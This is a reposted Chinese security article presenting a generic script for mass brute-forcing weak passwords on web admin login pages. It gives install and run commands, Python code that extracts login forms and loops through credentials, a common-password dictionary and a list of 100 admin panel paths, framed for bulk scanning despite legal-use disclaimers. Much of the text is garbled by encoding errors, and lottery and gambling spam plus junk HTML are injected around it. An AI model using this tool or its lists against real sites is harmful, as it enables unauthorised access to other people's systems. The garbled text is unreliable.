<dl id="wqg5j"></dl>

    1. <menuitem id="wqg5j"></menuitem>

      <dl id="wqg5j"><font id="wqg5j"></font></dl>
    2. <dl id="wqg5j"><ins id="wqg5j"></ins></dl>
    3. <dl id="wqg5j"><ins id="wqg5j"><thead id="wqg5j"></thead></ins></dl>
      <li id="wqg5j"><ins id="wqg5j"></ins></li>
      安基网 首页 安全 Web安全 查看内容

      Web弱口令通用检测方法探究

      2019-4-16 17:35| 投稿: lofor |来自: 互联网


      免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和?#35745;?#29256;权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

      摘要: 注意:本脚本只是探讨通用web口令破解的可行性,所有测试请自行搭建靶机环境或者在拿到目标系统相关授权后再进行测试。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

      注意:本脚本只是探讨通用web口令破解的可行性,所有测试请自行搭建靶机环境或者在拿到目标系统相关授权后再进行测试。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

      工具介绍

      通用的web弱口令破解脚本,旨在批量检测那些没有验证码的管理后台。

      随着攻防演练和一些漏洞挖掘任务的增多,有时候需要大批量快速的检测一些网站后台安全性,特别是测试一些管理弱口令,这种?#35759;?#19981;大但比较费时费力的工作就需要一个自动化的脚本来完成了。但目前的各种web口令破解工具大多是针对某个cms进行设计,或者类似burpsuite需要手工配置,没有见过能通用的破解工具。

      因此就有了这个小工具——通用web弱口令破解脚本,配合另一个信息搜集工具 https://github.com/TideSec/FuzzScanner 可以进行批量快速刷分。

      安装使用

      安装使用都比较简单:

      从Github上拖下来

      git clone https://github.com/TideSec/web_pwd_common_crack
      

      安装requirements.txt依赖

      pip install -r requirements.txt
      

      运行脚本即可

      python web_pwd_crack.py url.txt 50   --> url.txt为待扫描URL地址列表,50为线程数,默认为50
      

      url.txt为待检测URL地址,可以自己写个脚本批?#30475;?#25628;索引擎获取,也可以自己用目录?#27602;?#24037;具去搜集。

      功能原理

      1、访问目标地址,分析关键字

      原理非常low,就是从页面中提取表单,对表单中的内容进行检索,发现存在用户名、密码、username、pwd、pass之类的字段则认为是登录页面,然后提取?#38382;?#32452;成data数据,发?#36879;鴆rack函数进行破解。

      由于现在各种网站的请求包的多样性,目前没法做到像wvs那样能提取到所有的登录post,只是根据简单的关键字进行了提取。

      logins =['用户名','密码','login','denglu','登录','user','pass','yonghu','mima','pwd','zhanghao','yonghu','name','email','account']
      

      在测试中还发现有时候搜索框会干扰结果,所以把搜索框又进行了排除

      sous = ['检索','搜','search','查找','keyword','关键字']
      

      另外,目?#23433;?#25903;持自动识别验证码,所以对验证码也进行了排除

      yzms = ['验证码','点击更换','点击刷新','checkcode','valicode','code','captcha']
      

      2、通过解析页面获取post地址?#23433;问?/span>

      def get_post_get_page(content,url):
          form_action = str(content).split('\n')[0]
          # print form_action
          soup = BS(form_action, "lxml")
          url_path = ''
          for x in re.findall(".*?/",url):
              url_path =  url_path+x
      
          action_url = soup.form['action']
          if str(action_url).startswith('http'):
              path = action_url
          else:
              path = url_path+soup.form['action']
          method = soup.form['method']
          return path,method
      

      3、在获取相关?#38382;?#21644;path后调用破解函数web_crack进行密码破解

      def web_crack(method,path,data):
          conn =  requests.session()
          res0 = conn.get(path, headers=requests_headers(), allow_redirects=False,timeout=10,proxies = requests_proxies())
          error_length,cookie_error_flag,dynamic_req_len = get_error_length(conn,method,path,data)
          if dynamic_req_len:
              return False,False
      
          num = 0
          success_flag = 0
          dic_all = len(USERNAME_DIC)*len(PASSWORD_DIC)
          for user_name in USERNAME_DIC:
              for pass_word in PASSWORD_DIC:
                  data1 = data
                  # print data1
                  user_name = user_name.strip()
                  pass_word = pass_word.strip()
                  pass_word = str(pass_word.replace('{user}', user_name))
                  data2 = str(data1.replace('%7Buser_name%7D', user_name))
                  data2 = str(data2.replace('%7Bpass_word%7D', pass_word))
      
                  num = num+1
      
                  res = conn.post(url = path,data = data2, headers=requests_headers(), timeout=10,verify=False,allow_redirects=False,proxies = requests_proxies())
                  cur_length = len(res.content+str(res.headers))
      
                  if cookie_error_flag:  # cookie_error_flag表示每个数据包中都有cookie
                      if cur_length!=error_length:
                          success_flag =1
                          return user_name,pass_word
                  elif 'Set-Cookie' in res.headers and cur_length!=error_length:
                      success_flag =1
                      return user_name,pass_word
          if success_flag == 0:
              return False,False
      

      配置了一个比较简单的字典

      USERNAME_DIC = ['admin','guest','test','ceshi','system']
      PASSWORD_DIC = ['123456','admin','password','123123','123','1','{user}','{user}{user}','{user}1','{user}123','{user}2018','{user}2017','{user}2016','{user}2015','{user}!','P@ssw0rd!!','qwa123','12345678','test','[email protected]#','123456789','123321','1314520','666666','woaini','000000','1234567890','8888888','qwerty','1qaz2wsx','abc123','abc123456','1q2w3e4r','123qwe','a123456','p@ssw0rd','a123456789','woaini1314','qwerasdf','123456a','123456789a','987654321','[email protected]#$','5201314520', 'q123456', '123456abc', '123123123', '123456.','0123456789', 'asd123456', 'aa123456', 'q123456789', '!QAZ@WSX','12345','1234567','passw0rd','admin888']
      

      4、如何判断破解成功

      目前使用?#24605;?#31181;方式相互结合的方法来共同验证。

      1、通过返回包里有没有Set-Cookie;
      2、返回数据包的长度变化;
      3、使用requests.session()进行重验证;
      4、返回页面的内容匹配。
      

      5、优化准确度,加入了recheck函数

      在测试时发?#21482;?#20986;现误报情况,所以对成功的账户密码进行了重验证。比如:

      1、?#34892;?#31995;统在探测多次之后出?#22336;鈏p之类的情况,这时候会干扰破解脚本的判断;
      2、?#34892;?#31995;统在开始的时候没有验证码,但错误几次后会出现验证码;
      3、?#34892;?#31995;统的提示信息会出现随机的变更,导致误报。
      

      工作界面

      扫描过程如下

      扫描成功的结果会保持在web_crack_ok.txt文件中

      扫描中识别到验证码、phpmyadmin等所有的日志会保存在web_crack_log.txt文件中,后期可以根据log日志再进行逐一筛查。

      其他?#24471;?/h2>

      其实在完成这个工具后,也开始明白为什么市面上没有通用的破解器,因为成功率的确不高!我测试过10000个管理后台,破解出来弱口令的大约110个,有没有漏报不清楚但基本没有误报。

      成功率不高主要原因有:

      1、web页面类型繁杂,很难准确获取并提交正确?#38382;?/p>

      2、很多页面都有验证码,目前这个小脚本还没法自动识别验证码; 

      3、为了平衡时间和效率,使用了比较简单的用户名和密码字典,所以稍微复杂的密码就破解不出来了。

      我一般会使用dirsearch或之类的目录?#27602;?#24037;具,配置一个比较轻便的管理后台目录字典,对目标地?#26041;?#34892;批?#21487;?#25551;管理后台,然后再使用web_pwd_crack.py对这些后台地址批量进行弱口令破解。

      贡献一个比较精简的管理后台字典(100条)

      admin/default/login.asp
      admin/login.asp
      admin/manage/login.asp
      admin_login/login.asp
      admincp/login.asp
      administrator/login.asp
      login.asp
      manage/login.asp
      manager/login.asp
      member/login.asp
      admin-login.php
      admin/admin-login.php
      admin/admin_login.php
      admin/login.php
      admin2/login.php
      admin_area/login.php
      admin_login.php
      adminarea/login.php
      admincontrol/login.php
      administrator/login.php
      administratorlogin.php
      adminlogin.php
      autologin.php
      bb-admin/login.php
      blog/wp-login.php
      checklogin.php
      login.php
      modelsearch/login.php
      moderator/login.php
      nsw/admin/login.php
      pages/admin/admin-login.php
      panel-administracion/login.php
      processlogin.php
      rcjakar/admin/login.php
      relogin.php
      siteadmin/login.php
      sqlbuddy/login.php
      userlogin.php
      usuarios/login.php
      webadmin/login.php
      wp-login.php
      account/login.jsp
      accounts/login.jsp
      admin/login.jsp
      auth/login.jsp
      jsp/extension/login.jsp
      login.jsp
      member/login.jsp
      members/login.jsp
      portalAppAdmin/login.jsp
      admin.jsp
      netadmin.jsp
      admin.php
      admin.php3
      admin/admin.php
      admin_area/admin.php
      adminarea/admin.php
      authadmin.php
      bb-admin/admin.php
      checkadmin.php
      cmsadmin.php
      dbadmin.php
      fileadmin.php
      isadmin.php
      linusadmin-phpinfo.php
      memberadmin.php
      moadmin.php
      modelsearch/admin.php
      moderator/admin.php
      panel-administracion/admin.php
      phpliteadmin.php
      siteadmin.php
      sysadmin.php
      tmp/admin.php
      ur-admin.php
      user/admin.php
      users/admin.php
      webadmin.php
      webadmin/admin.php
      wp-content/plugins/akismet/admin.php
      admin.asp
      admin.aspx
      admin/default/admin.asp
      admin/manage/admin.asp
      admin_login/admin.asp
      administrator/admin.asp
      article/admin/admin.asp
      denglu/admin.asp
      guanli/admin.asp
      houtai/admin.asp
      login/admin/admin.asp
      manage/admin.asp
      manager/admin.asp
      member/admin.asp
      admin/logon.jsp
      admin/secure/logon.jsp
      compass/logon.jsp
      logon.jsp
      logon/logon.jsp
      

      ToDo

      验证码识别

      减少误报率

      优化编码处理

      能不那么low

      *本文作者:Tide重剑无锋,转载请注明来自FreeBuf.COM


      Tag标签: web安全

      小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培?#21040;?#31243;免费学,让您少走弯路、事半功倍,好工作升职?#26377;剑?/font>

      本文出自:https://www.freebuf.com/sectool/200345.html

      免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和?#35745;?#29256;权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


      鲜花

      ?#24080;?/a>

      雷人
      1

      路过

      鸡蛋

      刚表态过的朋友 (1 人)

      相关阅读

      最新评论

       最新
      返回顶部
      玄机图
      <dl id="wqg5j"></dl>

        1. <menuitem id="wqg5j"></menuitem>

          <dl id="wqg5j"><font id="wqg5j"></font></dl>
        2. <dl id="wqg5j"><ins id="wqg5j"></ins></dl>
        3. <dl id="wqg5j"><ins id="wqg5j"><thead id="wqg5j"></thead></ins></dl>
          <li id="wqg5j"><ins id="wqg5j"></ins></li>
          <dl id="wqg5j"></dl>

            1. <menuitem id="wqg5j"></menuitem>

              <dl id="wqg5j"><font id="wqg5j"></font></dl>
            2. <dl id="wqg5j"><ins id="wqg5j"></ins></dl>
            3. <dl id="wqg5j"><ins id="wqg5j"><thead id="wqg5j"></thead></ins></dl>
              <li id="wqg5j"><ins id="wqg5j"></ins></li>
              中国竞彩网竞彩网首页 福利彩票双色球谁中过大奖 搜索河南11选5 爱彩乐天津快乐十分 分分彩后二玩法 体彩大乐透带坐标连线 下五子棋小游戏 中国竞彩网彩旗 浙江快乐12全天计划 安徽新11选5 海南飞鱼彩票怎么玩 永辉线上娱乐 qq山东11选5彩票网 金牌两码中特 三分彩到底是什么